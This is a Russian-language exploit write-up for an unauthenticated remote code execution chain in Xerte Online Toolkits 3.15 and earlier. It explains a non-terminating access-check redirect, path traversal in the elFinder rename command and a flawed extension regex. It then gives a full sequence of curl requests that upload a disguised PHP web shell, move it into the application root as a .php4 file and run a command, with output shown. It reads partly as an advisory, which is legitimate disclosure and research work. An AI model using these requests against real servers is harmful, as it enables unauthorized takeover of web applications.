
Эксплойт Xerte Online Toolkits без аутентификации. Требуется знать действительное имя пользователя.
Xerte Online Toolkits версии 3.15 и более ранние содержат 3 уязвимости в компоненте /editor/elfinder/php/connector.php, которые неаутентифицированный злоумышленник может объединить в цепочку для достижения удалённого выполнения кода (RCE).
Xerte Online Toolkits <= 3.15
Бэкпортированный патч был применён к версиям 3.15, 3.14 и 3.13
Неаутентифицированные пользователи могут отправлять запросы к компоненту connector по адресу /editor/elfinder/php/connector.php
Следующий код используется для контроля доступа.
Файл: /editor/elfinder/php/connector.php Номер строки: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Это перенаправляет неаутентифицированных пользователей, не позволяя им получать ответ на неаутентифицированные запросы, однако это не завершает сессию, и последующий код всё равно выполняется.
*Требуется, чтобы злоумышленник знал имя файла, который он хочет переместить
Злоумышленники могут манипулировать параметром "name" в запросе "rename" к конечной точке connector.php. Это позволяет злоумышленникам использовать существующий каталог для перемещения файлов за пределы медиакаталога пользователя.
Из-за ошибки в регулярном выражении фильтра расширений файлов в connector.php злоумышленники могут объединить уязвимость обхода пути, присутствующую в тех же версиях Xerte, чтобы переместить файл с вредоносным PHP-кодом в корень приложения с расширением .php4.
Файл: /editor/elfinder/php/connector.php Номер строки: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
Регулярное выражение php* соответствует только предшествующему символу. Поэтому оно будет соответствовать следующим строкам: "ph", "php", "phppp" и т.д.
Если аутентификация включена (что не является конфигурацией Xerte по умолчанию), злоумышленник должен знать (или подобрать перебором) имя пользователя действительного пользователя. Если используется гостевая аутентификация (по умолчанию), целевой каталог проекта будет просто 1--Nottingham.
Неаутентифицированный злоумышленник может создать каталог "example_dir" и загрузить файл "file.txt" с вредоносным PHP-кодом в любой каталог проекта внутри USER-FILES/
Затем он может использовать уязвимости относительного обхода пути и неполного списка запрещённых входных данных, присутствующие в Xerte, для выполнения обхода пути, изменив имя загруженного файла на "example_dir/../../../../file.php4", переместив file.txt в корень приложения как "file.php4", что даёт злоумышленнику удалённое выполнение кода.
curl 'http://localhost/xt/setup'
Параметры запроса: uploadDir: Корень приложения + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL каталога проекта cmd: mkdir name: Имя нового каталога target: elfinder id каталога media/. Поскольку это корень elfinder, он всегда будет равен "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*Тег
в полезной нагрузке предотвращает обнаружение PHP-кода фильтром MIME-типов elfinder.
Параметры запроса: uploadDir: Корень приложения + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL каталога проекта cmd: upload target: elfinder id каталога media/. Поскольку это корень elfinder, он всегда будет равен "l1_Lw" upload[]: Загружаемый файл.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Убедитесь, что вы обрезали padding; в данном случае это просто "="
Добавьте идентификатор тома. Он всегда будет равен "l1" (как в "/")
Результат: l1_ZmlsZS50eHQ
Параметры запроса:
uploadDir: Корень приложения + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: URL каталога проекта
cmd: rename
name: Имя каталога, последовательность обхода пути и новое имя файла с расширением .php4
target: elfinder id, который мы сгенерировали для нового файла l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Параметры запроса: cmd: Команда для выполнения
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)